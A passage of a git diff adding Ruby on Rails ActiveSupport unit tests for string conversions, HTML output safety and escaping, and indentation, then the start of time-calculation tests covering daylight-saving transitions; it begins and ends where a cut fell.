+        assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 -0500".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 5, 0), "10:00 UTC".to_time
+        assert_equal Time.utc(2012, 1, 1, 10, 0), "10:00 UTC".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 13, 0), "10:00 PST".to_time
+        assert_equal Time.utc(2012, 1, 1, 18, 0), "10:00 PST".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 12, 0), "10:00 PDT".to_time
+        assert_equal Time.utc(2012, 1, 1, 17, 0), "10:00 PDT".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 EST".to_time
+        assert_equal Time.utc(2012, 1, 1, 15, 0), "10:00 EST".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 9, 0), "10:00 EDT".to_time
+        assert_equal Time.utc(2012, 1, 1, 14, 0), "10:00 EDT".to_time(:utc)
+      end
+    end
+  end
+
+  def test_partial_string_to_time_when_current_time_is_daylight_savings
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2012, 7, 1)) do
+        assert_equal Time.local(2012, 7, 1, 10, 0), "10:00".to_time
+        assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 7, 0), "10:00 -0100".to_time
+        assert_equal Time.utc(2012, 7, 1, 11, 0), "10:00 -0100".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 -0500".to_time
+        assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 -0500".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 6, 0), "10:00 UTC".to_time
+        assert_equal Time.utc(2012, 7, 1, 10, 0), "10:00 UTC".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 14, 0), "10:00 PST".to_time
+        assert_equal Time.utc(2012, 7, 1, 18, 0), "10:00 PST".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 13, 0), "10:00 PDT".to_time
+        assert_equal Time.utc(2012, 7, 1, 17, 0), "10:00 PDT".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 11, 0), "10:00 EST".to_time
+        assert_equal Time.utc(2012, 7, 1, 15, 0), "10:00 EST".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 10, 0), "10:00 EDT".to_time
+        assert_equal Time.utc(2012, 7, 1, 14, 0), "10:00 EDT".to_time(:utc)
+      end
+    end
+  end
+
+  def test_string_to_datetime
+    assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_datetime
+    assert_equal 0, "2039-02-27 23:50".to_datetime.offset # use UTC offset
+    assert_equal ::Date::ITALY, "2039-02-27 23:50".to_datetime.start # use Ruby's default start value
+    assert_equal DateTime.civil(2039, 2, 27, 23, 50, 19 + Rational(275038, 1000000), "-04:00"), "2039-02-27T23:50:19.275038-04:00".to_datetime
+    assert_nil "".to_datetime
+  end
+
+  def test_partial_string_to_datetime
+    now = DateTime.now
+    assert_equal DateTime.civil(now.year, now.month, now.day, 23, 50), "23:50".to_datetime
+    assert_equal DateTime.civil(now.year, now.month, now.day, 23, 50, 0, "-04:00"), "23:50 -0400".to_datetime
+  end
+
+  def test_string_to_date
+    assert_equal Date.new(2005, 2, 27), "2005-02-27".to_date
+    assert_nil "".to_date
+    assert_equal Date.new(Date.today.year, 2, 3), "Feb 3rd".to_date
+  end
+end
+
+class StringBehaviourTest < ActiveSupport::TestCase
+  def test_acts_like_string
+    assert "Bambi".acts_like_string?
+  end
+end
+
+class CoreExtStringMultibyteTest < ActiveSupport::TestCase
+  UTF8_STRING = "こにちわ"
+  ASCII_STRING = "ohayo".encode("US-ASCII")
+  EUC_JP_STRING = "さよなら".encode("EUC-JP")
+  INVALID_UTF8_STRING = "\270\236\010\210\245"
+
+  def test_core_ext_adds_mb_chars
+    assert_respond_to UTF8_STRING, :mb_chars
+  end
+
+  def test_string_should_recognize_utf8_strings
+    assert UTF8_STRING.is_utf8?
+    assert ASCII_STRING.is_utf8?
+    assert !EUC_JP_STRING.is_utf8?
+    assert !INVALID_UTF8_STRING.is_utf8?
+  end
+
+  def test_mb_chars_returns_instance_of_proxy_class
+    assert_kind_of ActiveSupport::Multibyte.proxy_class, UTF8_STRING.mb_chars
+  end
+end
+
+class OutputSafetyTest < ActiveSupport::TestCase
+  def setup
+    @string = "hello".dup
+    @object = Class.new(Object) do
+      def to_s
+        "other"
+      end
+    end.new
+  end
+
+  test "A string is unsafe by default" do
+    assert !@string.html_safe?
+  end
+
+  test "A string can be marked safe" do
+    string = @string.html_safe
+    assert string.html_safe?
+  end
+
+  test "Marking a string safe returns the string" do
+    assert_equal @string, @string.html_safe
+  end
+
+  test "An integer is safe by default" do
+    assert 5.html_safe?
+  end
+
+  test "a float is safe by default" do
+    assert 5.7.html_safe?
+  end
+
+  test "An object is unsafe by default" do
+    assert !@object.html_safe?
+  end
+
+  test "Adding an object to a safe string returns a safe string" do
+    string = @string.html_safe
+    string << @object
+
+    assert_equal "helloother", string
+    assert string.html_safe?
+  end
+
+  test "Adding a safe string to another safe string returns a safe string" do
+    @other_string = "other".html_safe
+    string = @string.html_safe
+    @combination = @other_string + string
+
+    assert_equal "otherhello", @combination
+    assert @combination.html_safe?
+  end
+
+  test "Adding an unsafe string to a safe string escapes it and returns a safe string" do
+    @other_string = "other".html_safe
+    @combination = @other_string + "<foo>"
+    @other_combination = @string + "<foo>"
+
+    assert_equal "other&lt;foo&gt;", @combination
+    assert_equal "hello<foo>", @other_combination
+
+    assert @combination.html_safe?
+    assert !@other_combination.html_safe?
+  end
+
+  test "Prepending safe onto unsafe yields unsafe" do
+    @string.prepend "other".html_safe
+    assert !@string.html_safe?
+    assert_equal "otherhello", @string
+  end
+
+  test "Prepending unsafe onto safe yields escaped safe" do
+    other = "other".html_safe
+    other.prepend "<foo>"
+    assert other.html_safe?
+    assert_equal "&lt;foo&gt;other", other
+  end
+
+  test "Concatting safe onto unsafe yields unsafe" do
+    @other_string = "other".dup
+
+    string = @string.html_safe
+    @other_string.concat(string)
+    assert !@other_string.html_safe?
+  end
+
+  test "Concatting unsafe onto safe yields escaped safe" do
+    @other_string = "other".html_safe
+    string = @other_string.concat("<foo>")
+    assert_equal "other&lt;foo&gt;", string
+    assert string.html_safe?
+  end
+
+  test "Concatting safe onto safe yields safe" do
+    @other_string = "other".html_safe
+    string = @string.html_safe
+
+    @other_string.concat(string)
+    assert @other_string.html_safe?
+  end
+
+  test "Concatting safe onto unsafe with << yields unsafe" do
+    @other_string = "other".dup
+    string = @string.html_safe
+
+    @other_string << string
+    assert !@other_string.html_safe?
+  end
+
+  test "Concatting unsafe onto safe with << yields escaped safe" do
+    @other_string = "other".html_safe
+    string = @other_string << "<foo>"
+    assert_equal "other&lt;foo&gt;", string
+    assert string.html_safe?
+  end
+
+  test "Concatting safe onto safe with << yields safe" do
+    @other_string = "other".html_safe
+    string = @string.html_safe
+
+    @other_string << string
+    assert @other_string.html_safe?
+  end
+
+  test "Concatting safe onto unsafe with % yields unsafe" do
+    @other_string = "other%s"
+    string = @string.html_safe
+
+    @other_string = @other_string % string
+    assert !@other_string.html_safe?
+  end
+
+  test "Concatting unsafe onto safe with % yields escaped safe" do
+    @other_string = "other%s".html_safe
+    string = @other_string % "<foo>"
+
+    assert_equal "other&lt;foo&gt;", string
+    assert string.html_safe?
+  end
+
+  test "Concatting safe onto safe with % yields safe" do
+    @other_string = "other%s".html_safe
+    string = @string.html_safe
+
+    @other_string = @other_string % string
+    assert @other_string.html_safe?
+  end
+
+  test "Concatting with % doesn't modify a string" do
+    @other_string = ["<p>", "<b>", "<h1>"]
+    _ = "%s %s %s".html_safe % @other_string
+
+    assert_equal ["<p>", "<b>", "<h1>"], @other_string
+  end
+
+  test "Concatting an integer to safe always yields safe" do
+    string = @string.html_safe
+    string = string.concat(13)
+    assert_equal "hello".dup.concat(13), string
+    assert string.html_safe?
+  end
+
+  test "emits normal string yaml" do
+    assert_equal "foo".to_yaml, "foo".html_safe.to_yaml(foo: 1)
+  end
+
+  test "call to_param returns a normal string" do
+    string = @string.html_safe
+    assert string.html_safe?
+    assert !string.to_param.html_safe?
+  end
+
+  test "ERB::Util.html_escape should escape unsafe characters" do
+    string = '<>&"\''
+    expected = "&lt;&gt;&amp;&quot;&#39;"
+    assert_equal expected, ERB::Util.html_escape(string)
+  end
+
+  test "ERB::Util.html_escape should correctly handle invalid UTF-8 strings" do
+    string = "\251 <"
+    expected = "© &lt;"
+    assert_equal expected, ERB::Util.html_escape(string)
+  end
+
+  test "ERB::Util.html_escape should not escape safe strings" do
+    string = "<b>hello</b>".html_safe
+    assert_equal string, ERB::Util.html_escape(string)
+  end
+
+  test "ERB::Util.html_escape_once only escapes once" do
+    string = "1 < 2 &amp; 3"
+    escaped_string = "1 &lt; 2 &amp; 3"
+
+    assert_equal escaped_string, ERB::Util.html_escape_once(string)
+    assert_equal escaped_string, ERB::Util.html_escape_once(escaped_string)
+  end
+
+  test "ERB::Util.html_escape_once should correctly handle invalid UTF-8 strings" do
+    string = "\251 <"
+    expected = "© &lt;"
+    assert_equal expected, ERB::Util.html_escape_once(string)
+  end
+end
+
+class StringExcludeTest < ActiveSupport::TestCase
+  test "inverse of #include" do
+    assert_equal false, "foo".exclude?("o")
+    assert_equal true, "foo".exclude?("p")
+  end
+end
+
+class StringIndentTest < ActiveSupport::TestCase
+  test "does not indent strings that only contain newlines (edge cases)" do
+    ["", "\n", "\n" * 7].each do |string|
+      str = string.dup
+      assert_nil str.indent!(8)
+      assert_equal str, str.indent(8)
+      assert_equal str, str.indent(1, "\t")
+    end
+  end
+
+  test "by default, indents with spaces if the existing indentation uses them" do
+    assert_equal "    foo\n      bar", "foo\n  bar".indent(4)
+  end
+
+  test "by default, indents with tabs if the existing indentation uses them" do
+    assert_equal "\tfoo\n\t\t\bar", "foo\n\t\bar".indent(1)
+  end
+
+  test "by default, indents with spaces as a fallback if there is no indentation" do
+    assert_equal "   foo\n   bar\n   baz", "foo\nbar\nbaz".indent(3)
+  end
+
+  # Nothing is said about existing indentation that mixes spaces and tabs, so
+  # there is nothing to test.
+
+  test "uses the indent char if passed" do
+    assert_equal <<EXPECTED, <<ACTUAL.indent(4, ".")
+....  def some_method(x, y)
+....    some_code
+....  end
+EXPECTED
+  def some_method(x, y)
+    some_code
+  end
+ACTUAL
+
+    assert_equal <<EXPECTED, <<ACTUAL.indent(2, "&nbsp;")
+&nbsp;&nbsp;&nbsp;&nbsp;def some_method(x, y)
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;some_code
+&nbsp;&nbsp;&nbsp;&nbsp;end
+EXPECTED
+&nbsp;&nbsp;def some_method(x, y)
+&nbsp;&nbsp;&nbsp;&nbsp;some_code
+&nbsp;&nbsp;end
+ACTUAL
+  end
+
+  test "does not indent blank lines by default" do
+    assert_equal " foo\n\n bar", "foo\n\nbar".indent(1)
+  end
+
+  test "indents blank lines if told so" do
+    assert_equal " foo\n \n bar", "foo\n\nbar".indent(1, nil, true)
+  end
+end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
new file mode 100644
index 0000000000..dc2f4c5ac7
--- /dev/null
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -0,0 +1,999 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "core_ext/date_and_time_behavior"
+require "time_zone_test_helpers"
+
+class TimeExtCalculationsTest < ActiveSupport::TestCase
+  def date_time_init(year, month, day, hour, minute, second, usec = 0)
+    Time.local(year, month, day, hour, minute, second, usec)
+  end
+
+  include DateAndTimeBehavior
+  include TimeZoneTestHelpers
+
+  def test_seconds_since_midnight
+    assert_equal 1, Time.local(2005, 1, 1, 0, 0, 1).seconds_since_midnight
+    assert_equal 60, Time.local(2005, 1, 1, 0, 1, 0).seconds_since_midnight
+    assert_equal 3660, Time.local(2005, 1, 1, 1, 1, 0).seconds_since_midnight
+    assert_equal 86399, Time.local(2005, 1, 1, 23, 59, 59).seconds_since_midnight
+    assert_equal 60.00001, Time.local(2005, 1, 1, 0, 1, 0, 10).seconds_since_midnight
+  end
+
+  def test_seconds_since_midnight_at_daylight_savings_time_start
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 April 3rd 2:00am ST => April 3rd 3:00am DT
+      assert_equal 2 * 3600 - 1, Time.local(2005, 4, 3, 1, 59, 59).seconds_since_midnight, "just before DST start"
+      assert_equal 2 * 3600 + 1, Time.local(2005, 4, 3, 3, 0, 1).seconds_since_midnight, "just after DST start"
+    end
+
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 October 1st 2:00am ST => October 1st 3:00am DT
+      assert_equal 2 * 3600 - 1, Time.local(2006, 10, 1, 1, 59, 59).seconds_since_midnight, "just before DST start"
+      assert_equal 2 * 3600 + 1, Time.local(2006, 10, 1, 3, 0, 1).seconds_since_midnight, "just after DST start"
+    end
+  end
+
+  def test_seconds_since_midnight_at_daylight_savings_time_end
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 October 30th 2:00am DT => October 30th 1:00am ST
+      # avoid setting a time between 1:00 and 2:00 since that requires specifying whether DST is active
+      assert_equal 1 * 3600 - 1, Time.local(2005, 10, 30, 0, 59, 59).seconds_since_midnight, "just before DST end"
+      assert_equal 3 * 3600 + 1, Time.local(2005, 10, 30, 2, 0, 1).seconds_since_midnight, "just after DST end"
+
+      # now set a time between 1:00 and 2:00 by specifying whether DST is active
+      # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+      assert_equal 1 * 3600 + 30 * 60, Time.local(0, 30, 1, 30, 10, 2005, 0, 0, true, ENV["TZ"]).seconds_since_midnight, "before DST end"
+      assert_equal 2 * 3600 + 30 * 60, Time.local(0, 30, 1, 30, 10, 2005, 0, 0, false, ENV["TZ"]).seconds_since_midnight, "after DST end"
+    end
+
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 March 19th 3:00am DT => March 19th 2:00am ST
+      # avoid setting a time between 2:00 and 3:00 since that requires specifying whether DST is active
+      assert_equal 2 * 3600 - 1, Time.local(2006, 3, 19, 1, 59, 59).seconds_since_midnight, "just before DST end"
+      assert_equal 4 * 3600 + 1, Time.local(2006, 3, 19, 3, 0, 1).seconds_since_midnight, "just after DST end"
+
+      # now set a time between 2:00 and 3:00 by specifying whether DST is active
+      # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+      assert_equal 2 * 3600 + 30 * 60, Time.local(0, 30, 2, 19, 3, 2006, 0, 0, true, ENV["TZ"]).seconds_since_midnight, "before DST end"
+      assert_equal 3 * 3600 + 30 * 60, Time.local(0, 30, 2, 19, 3, 2006, 0, 0, false, ENV["TZ"]).seconds_since_midnight, "after DST end"
+    end
+  end
+
+  def test_seconds_until_end_of_day
+    assert_equal 0, Time.local(2005, 1, 1, 23, 59, 59).seconds_until_end_of_day
+    assert_equal 1, Time.local(2005, 1, 1, 23, 59, 58).seconds_until_end_of_day
+    assert_equal 60, Time.local(2005, 1, 1, 23, 58, 59).seconds_until_end_of_day
+    assert_equal 3660, Time.local(2005, 1, 1, 22, 58, 59).seconds_until_end_of_day
+    assert_equal 86399, Time.local(2005, 1, 1, 0, 0, 0).seconds_until_end_of_day
+  end
+
+  def test_seconds_until_end_of_day_at_daylight_savings_time_start
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 April 3rd 2:00am ST => April 3rd 3:00am DT
+      assert_equal 21 * 3600, Time.local(2005, 4, 3, 1, 59, 59).seconds_until_end_of_day, "just before DST start"
+      assert_equal 21 * 3600 - 2, Time.local(2005, 4, 3, 3, 0, 1).seconds_until_end_of_day, "just after DST start"
+    end
+
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 October 1st 2:00am ST => October 1st 3:00am DT
+      assert_equal 21 * 3600, Time.local(2006, 10, 1, 1, 59, 59).seconds_until_end_of_day, "just before DST start"
+      assert_equal 21 * 3600 - 2, Time.local(2006, 10, 1, 3, 0, 1).seconds_until_end_of_day, "just after DST start"
+    end
+  end
+
+  def test_seconds_until_end_of_day_at_daylight_savings_time_end
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 October 30th 2:00am DT => October 30th 1:00am ST
+      # avoid setting a time between 1:00 and 2:00 since that requires specifying whether DST is active
+      assert_equal 24 * 3600, Time.local(2005, 10, 30, 0, 59, 59).seconds_until_end_of_day, "just before DST end"
+      assert_equal 22 * 3600 - 2, Time.local(2005, 10, 30, 2, 0, 1).seconds_until_end_of_day, "just after DST end"
+
+      # now set a time between 1:00 and 2:00 by specifying whether DST is active
+      # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+      assert_equal 24 * 3600 - 30 * 60 - 1, Time.local(0, 30, 1, 30, 10, 2005, 0, 0, true, ENV["TZ"]).seconds_until_end_of_day, "before DST end"
+      assert_equal 23 * 3600 - 30 * 60 - 1, Time.local(0, 30, 1, 30, 10, 2005, 0, 0, false, ENV["TZ"]).seconds_until_end_of_day, "after DST end"
+    end
+
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 March 19th 3:00am DT => March 19th 2:00am ST
+      # avoid setting a time between 2:00 and 3:00 since that requires specifying whether DST is active
+      assert_equal 23 * 3600, Time.local(2006, 3, 19, 1, 59, 59).seconds_until_end_of_day, "just before DST end"
+      assert_equal 21 * 3600 - 2, Time.local(2006, 3, 19, 3, 0, 1).seconds_until_end_of_day, "just after DST end"
+
+      # now set a time between 2:00 and 3:00 by specifying whether DST is active
+      # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+      assert_equal 23 * 3600 - 30 * 60 - 1, Time.local(0, 30, 2, 19, 3, 2006, 0, 0, true, ENV["TZ"]).seconds_until_end_of_day, "before DST end"
+      assert_equal 22 * 3600 - 30 * 60 - 1, Time.local(0, 30, 2, 19, 3, 2006, 0, 0, false, ENV["TZ"]).seconds_until_end_of_day, "after DST end"
+    end
+  end
+
+  def test_sec_fraction
+    time = Time.utc(2016, 4, 23, 0, 0, Rational(1, 10000000000))
+    assert_equal Rational(1, 10000000000), time.sec_fraction
+
+    time = Time.utc(2016, 4, 23, 0, 0, 0.0000000001)
+    assert_equal 0.0000000001.to_r, time.sec_fraction
+
+    time = Time.utc(2016, 4, 23, 0, 0, 0, Rational(1, 10000))
+    assert_equal Rational(1, 10000000000), time.sec_fraction
+
+    time = Time.utc(2016, 4, 23, 0, 0, 0, 0.0001)
+    assert_equal 0.0001.to_r / 1000000, time.sec_fraction
+  end
+
+  def test_beginning_of_day
+    assert_equal Time.local(2005, 2, 4, 0, 0, 0), Time.local(2005, 2, 4, 10, 10, 10).beginning_of_day
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2006, 4, 2, 0, 0, 0), Time.local(2006, 4, 2, 10, 10, 10).beginning_of_day, "start DST"
+      assert_equal Time.local(2006, 10, 29, 0, 0, 0), Time.local(2006, 10, 29, 10, 10, 10).beginning_of_day, "ends DST"
+    end
+    with_env_tz "NZ" do
+      assert_equal Time.local(2006, 3, 19, 0, 0, 0), Time.local(2006, 3, 19, 10, 10, 10).beginning_of_day, "ends DST"
+      assert_equal Time.local(2006, 10, 1, 0, 0, 0), Time.local(2006, 10, 1, 10, 10, 10).beginning_of_day, "start DST"
+    end
+  end
+
+  def test_middle_of_day
+    assert_equal Time.local(2005, 2, 4, 12, 0, 0), Time.local(2005, 2, 4, 10, 10, 10).middle_of_day
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2006, 4, 2, 12, 0, 0), Time.local(2006, 4, 2, 10, 10, 10).middle_of_day, "start DST"
+      assert_equal Time.local(2006, 10, 29, 12, 0, 0), Time.local(2006, 10, 29, 10, 10, 10).middle_of_day, "ends DST"
+    end
+    with_env_tz "NZ" do
+      assert_equal Time.local(2006, 3, 19, 12, 0, 0), Time.local(2006, 3, 19, 10, 10, 10).middle_of_day, "ends DST"
+      assert_equal Time.local(2006, 10, 1, 12, 0, 0), Time.local(2006, 10, 1, 10, 10, 10).middle_of_day, "start DST"
+    end
+  end
+
+  def test_beginning_of_hour
+    assert_equal Time.local(2005, 2, 4, 19, 0, 0), Time.local(2005, 2, 4, 19, 30, 10).beginning_of_hour
+  end
+
+  def test_beginning_of_minute
+    assert_equal Time.local(2005, 2, 4, 19, 30, 0), Time.local(2005, 2, 4, 19, 30, 10).beginning_of_minute
+  end
+
+  def test_end_of_day
+    assert_equal Time.local(2007, 8, 12, 23, 59, 59, Rational(999999999, 1000)), Time.local(2007, 8, 12, 10, 10, 10).end_of_day
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2007, 4, 2, 23, 59, 59, Rational(999999999, 1000)), Time.local(2007, 4, 2, 10, 10, 10).end_of_day, "start DST"
+      assert_equal Time.local(2007, 10, 29, 23, 59, 59, Rational(999999999, 1000)), Time.local(2007, 10, 29, 10, 10, 10).end_of_day, "ends DST"
+    end
+    with_env_tz "NZ" do
+      assert_equal Time.local(2006, 3, 19, 23, 59, 59, Rational(999999999, 1000)), Time.local(2006, 3, 19, 10, 10, 10).end_of_day, "ends DST"
+      assert_equal Time.local(2006, 10, 1, 23, 59, 59, Rational(999999999, 1000)), Time.local(2006, 10, 1, 10, 10, 10).end_of_day, "start DST"
+    end
+    with_env_tz "Asia/Yekaterinburg" do
+      assert_equal Time.local(2015, 2, 8, 23, 59, 59, Rational(999999999, 1000)), Time.new(2015, 2, 8, 8, 0, 0, "+05:00").end_of_day
+    end
+  end
+
+  def test_end_of_hour
+    assert_equal Time.local(2005, 2, 4, 19, 59, 59, Rational(999999999, 1000)), Time.local(2005, 2, 4, 19, 30, 10).end_of_hour
+  end
+
+  def test_end_of_minute
+    assert_equal Time.local(2005, 2, 4, 19, 30, 59, Rational(999999999, 1000)), Time.local(2005, 2, 4, 19, 30, 10).end_of_minute
+  end
+
+  def test_last_year
+    assert_equal Time.local(2004, 6, 5, 10),  Time.local(2005, 6, 5, 10, 0, 0).last_year
+  end
+
+  def test_ago
+    assert_equal Time.local(2005, 2, 22, 10, 10, 9),  Time.local(2005, 2, 22, 10, 10, 10).ago(1)
+    assert_equal Time.local(2005, 2, 22, 9, 10, 10),  Time.local(2005, 2, 22, 10, 10, 10).ago(3600)
+    assert_equal Time.local(2005, 2, 20, 10, 10, 10), Time.local(2005, 2, 22, 10, 10, 10).ago(86400 * 2)
+    assert_equal Time.local(2005, 2, 20, 9, 9, 45),   Time.local(2005, 2, 22, 10, 10, 10).ago(86400 * 2 + 3600 + 25)
+  end
+
+  def test_daylight_savings_time_crossings_backward_start
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 April 3rd 4:18am
+      assert_equal Time.local(2005, 4, 2, 3, 18, 0), Time.local(2005, 4, 3, 4, 18, 0).ago(24.hours), "dt-24.hours=>st"
+      assert_equal Time.local(2005, 4, 2, 3, 18, 0), Time.local(2005, 4, 3, 4, 18, 0).ago(86400), "dt-86400=>st"
+      assert_equal Time.local(2005, 4, 2, 3, 18, 0), Time.local(2005, 4, 3, 4, 18, 0).ago(86400.seconds), "dt-86400.seconds=>st"
+
+      assert_equal Time.local(2005, 4, 1, 4, 18, 0), Time.local(2005, 4, 2, 4, 18, 0).ago(24.hours), "st-24.hours=>st"
+      assert_equal Time.local(2005, 4, 1, 4, 18, 0), Time.local(2005, 4, 2, 4, 18, 0).ago(86400), "st-86400=>st"
+      assert_equal Time.local(2005, 4, 1, 4, 18, 0), Time.local(2005, 4, 2, 4, 18, 0).ago(86400.seconds), "st-86400.seconds=>st"
+    end
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 October 1st 4:18am
+      assert_equal Time.local(2006, 9, 30, 3, 18, 0), Time.local(2006, 10, 1, 4, 18, 0).ago(24.hours), "dt-24.hours=>st"
+      assert_equal Time.local(2006, 9, 30, 3, 18, 0), Time.local(2006, 10, 1, 4, 18, 0).ago(86400), "dt-86400=>st"
+      assert_equal Time.local(2006, 9, 30, 3, 18, 0), Time.local(2006, 10, 1, 4, 18, 0).ago(86400.seconds), "dt-86400.seconds=>st"
+
+      assert_equal Time.local(2006, 9, 29, 4, 18, 0), Time.local(2006, 9, 30, 4, 18, 0).ago(24.hours), "st-24.hours=>st"
+      assert_equal Time.local(2006, 9, 29, 4, 18, 0), Time.local(2006, 9, 30, 4, 18, 0).ago(86400), "st-86400=>st"
+      assert_equal Time.local(2006, 9, 29, 4, 18, 0), Time.local(2006, 9, 30, 4, 18, 0).ago(86400.seconds), "st-86400.seconds=>st"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_backward_end
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 October 30th 4:03am
+      assert_equal Time.local(2005, 10, 29, 5, 3), Time.local(2005, 10, 30, 4, 3, 0).ago(24.hours), "st-24.hours=>dt"
+      assert_equal Time.local(2005, 10, 29, 5, 3), Time.local(2005, 10, 30, 4, 3, 0).ago(86400), "st-86400=>dt"
+      assert_equal Time.local(2005, 10, 29, 5, 3), Time.local(2005, 10, 30, 4, 3, 0).ago(86400.seconds), "st-86400.seconds=>dt"
+
+      assert_equal Time.local(2005, 10, 28, 4, 3), Time.local(2005, 10, 29, 4, 3, 0).ago(24.hours), "dt-24.hours=>dt"
+      assert_equal Time.local(2005, 10, 28, 4, 3), Time.local(2005, 10, 29, 4, 3, 0).ago(86400), "dt-86400=>dt"
+      assert_equal Time.local(2005, 10, 28, 4, 3), Time.local(2005, 10, 29, 4, 3, 0).ago(86400.seconds), "dt-86400.seconds=>dt"
+    end
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 March 19th 4:03am
+      assert_equal Time.local(2006, 3, 18, 5, 3), Time.local(2006, 3, 19, 4, 3, 0).ago(24.hours), "st-24.hours=>dt"
+      assert_equal Time.local(2006, 3, 18, 5, 3), Time.local(2006, 3, 19, 4, 3, 0).ago(86400), "st-86400=>dt"
+      assert_equal Time.local(2006, 3, 18, 5, 3), Time.local(2006, 3, 19, 4, 3, 0).ago(86400.seconds), "st-86400.seconds=>dt"
+
+      assert_equal Time.local(2006, 3, 17, 4, 3), Time.local(2006, 3, 18, 4, 3, 0).ago(24.hours), "dt-24.hours=>dt"
+      assert_equal Time.local(2006, 3, 17, 4, 3), Time.local(2006, 3, 18, 4, 3, 0).ago(86400), "dt-86400=>dt"
+      assert_equal Time.local(2006, 3, 17, 4, 3), Time.local(2006, 3, 18, 4, 3, 0).ago(86400.seconds), "dt-86400.seconds=>dt"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_backward_start_1day
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 April 3rd 4:18am
+      assert_equal Time.local(2005, 4, 2, 4, 18, 0), Time.local(2005, 4, 3, 4, 18, 0).ago(1.day), "dt-1.day=>st"
+      assert_equal Time.local(2005, 4, 1, 4, 18, 0), Time.local(2005, 4, 2, 4, 18, 0).ago(1.day), "st-1.day=>st"
+    end
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 October 1st 4:18am
+      assert_equal Time.local(2006, 9, 30, 4, 18, 0), Time.local(2006, 10, 1, 4, 18, 0).ago(1.day), "dt-1.day=>st"
+      assert_equal Time.local(2006, 9, 29, 4, 18, 0), Time.local(2006, 9, 30, 4, 18, 0).ago(1.day), "st-1.day=>st"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_backward_end_1day
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 October 30th 4:03am
+      assert_equal Time.local(2005, 10, 29, 4, 3), Time.local(2005, 10, 30, 4, 3, 0).ago(1.day), "st-1.day=>dt"
+      assert_equal Time.local(2005, 10, 28, 4, 3), Time.local(2005, 10, 29, 4, 3, 0).ago(1.day), "dt-1.day=>dt"
+    end
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 March 19th 4:03am
+      assert_equal Time.local(2006, 3, 18, 4, 3), Time.local(2006, 3, 19, 4, 3, 0).ago(1.day), "st-1.day=>dt"
+      assert_equal Time.local(2006, 3, 17, 4, 3), Time.local(2006, 3, 18, 4, 3, 0).ago(1.day), "dt-1.day=>dt"
+    end
+  end
+
+  def test_since
+    assert_equal Time.local(2005, 2, 22, 10, 10, 11), Time.local(2005, 2, 22, 10, 10, 10).since(1)
+    assert_equal Time.local(2005, 2, 22, 11, 10, 10), Time.local(2005, 2, 22, 10, 10, 10).since(3600)
+    assert_equal Time.local(2005, 2, 24, 10, 10, 10), Time.local(2005, 2, 22, 10, 10, 10).since(86400 * 2)
+    assert_equal Time.local(2005, 2, 24, 11, 10, 35), Time.local(2005, 2, 22, 10, 10, 10).since(86400 * 2 + 3600 + 25)
+    # when out of range of Time, returns a DateTime
+    assert_equal DateTime.civil(2038, 1, 20, 11, 59, 59), Time.utc(2038, 1, 18, 11, 59, 59).since(86400 * 2)
+  end
+
+  def test_daylight_savings_time_crossings_forward_start
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 April 2nd 7:27pm
+      assert_equal Time.local(2005, 4, 3, 20, 27, 0), Time.local(2005, 4, 2, 19, 27, 0).since(24.hours), "st+24.hours=>dt"
+      assert_equal Time.local(2005, 4, 3, 20, 27, 0), Time.local(2005, 4, 2, 19, 27, 0).since(86400), "st+86400=>dt"
+      assert_equal Time.local(2005, 4, 3, 20, 27, 0), Time.local(2005, 4, 2, 19, 27, 0).since(86400.seconds), "st+86400.seconds=>dt"
+
+      assert_equal Time.local(2005, 4, 4, 19, 27, 0), Time.local(2005, 4, 3, 19, 27, 0).since(24.hours), "dt+24.hours=>dt"
+      assert_equal Time.local(2005, 4, 4, 19, 27, 0), Time.local(2005, 4, 3, 19, 27, 0).since(86400), "dt+86400=>dt"
